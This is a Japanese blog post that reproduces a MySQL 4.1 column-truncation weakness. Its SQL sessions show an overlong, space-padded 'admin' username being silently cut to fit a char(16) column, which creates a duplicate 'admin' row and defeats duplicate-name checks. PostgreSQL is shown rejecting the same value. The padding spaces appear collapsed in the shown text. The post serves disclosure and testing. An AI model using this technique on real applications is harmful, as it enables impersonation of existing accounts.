MySQLのカラム複製脆弱性
昨日書いたMySQLの脆弱性ですが、手元の環境で見事に再現しました。MySQLのバージョンはCentOSでyumからインストールしたmysql-4.1.20-3.RHEL4.1.el4_6.1です。
手順は以下の通り。まずデータベース、テーブルを作成します。
mysql> create database sec_test; Query OK, 1 row affected (0.02 sec) mysql> use sec_test Database changed mysql> create table test (username char(16)); Query OK, 0 rows affected (0.01 sec)
ご覧の通り、char(16)でusernameというカラムを持つテーブルを作成します。
まず「admin」というusernameを持つ行を作ります。
mysql> insert into test (username) values ('admin'); Query OK, 1 row affected (0.00 sec) mysql> select count(*) from test where username = 'admin'; +----------+ | count(*) | +----------+ | 1 | +----------+ 1 row in set (0.00 sec)
出来ています。
次に、問い合わせの文字列部分の後ろに空白を追加してみます。全部で16文字になるようにしました。
mysql> select count(*) from test where username = 'admin '; +----------+ | count(*) | +----------+ | 1 | +----------+ 1 row in set (0.00 sec)
後ろの空白が無視されているのがわかります。update:正確にいえば、char型なので指定された長さ未満の文字列は空白文字で埋められるみたいです。null文字とかじゃないんですね。
次に、char(16)の範囲を超えたところで「x」を追加して検索してみます。
mysql> select count(*) from test where username = 'admin x'; +----------+ | count(*) | +----------+ | 0 | +----------+ 1 row in set (0.00 sec)
さすがにヒットしませんでしたが、そもそもカラムの制限長を超えているのにエラーにはなりません。
では、この値をINSERTしてみます。
mysql> insert into test (username) values ('admin x'); Query OK, 1 row affected, 1 warning (0.01 sec) mysql> select count(*) from test where username = 'admin'; +----------+ | count(*) | +----------+ | 2 | +----------+ 1 row in set (0.01 sec)
「admin」としてINSERT出来てしまいました。
これで、(1)既存のデータに重複行があるかチェック(2)なければINSERT、という処理で重複登録を防ごうとしてもダメなことがわかります。
ちなみにPostgreSQL 7.4.19でテストすると
db_test=# create table security_test (username char(16)); CREATE TABLE db_test=# INSERT INTO security_test (username) VALUES ('admin'); INSERT 0 1 db_test=# SELECT COUNT(*) FROM security_test WHERE username = 'admin'; count ------- 1 (1 row) db_test=# SELECT COUNT(*) FROM security_test WHERE username = 'admin '; count ------- 1 (1 row) db_test=# SELECT COUNT(*) FROM security_test WHERE username = 'admin x'; count ------- 0 (1 row) db_test=# SELECT COUNT(*) FROM security_test WHERE username = 'admin '; count ------- 1 (1 row) db_test=# INSERT INTO security_test (username) VALUES ('admin x'); ERROR: value too long for type character(16) db_test=# SELECT COUNT(*) FROM security_test WHERE username = 'admin'; count ------- 1 (1 row) db_test=#
INSERTはできません。8.3.3でも。
db_test=# create table test (username char(16)); CREATE TABLE db_test=# INSERT INTO test (username) VALUES ('admin'); INSERT 0 1 db_test=# SELECT count(*) FROM test WHERE username = 'admin'; count ------- 1 (1 row) db_test=# SELECT count(*) FROM test WHERE username = 'admin '; count ------- 1 (1 row) db_test=# SELECT count(*) FROM test WHERE username = 'admin x'; count ------- 0 (1 row) db_test=# SELECT count(*) FROM test WHERE username = 'admin '; count ------- 1 (1 row) db_test=# INSERT INTO test (username) VALUES ('admin x'); ERROR: value too long for type character(16)
INSERT時にあふれた分が勝手にカットされることはありませんでした。
Comments
[…] update:再現しますた。 […]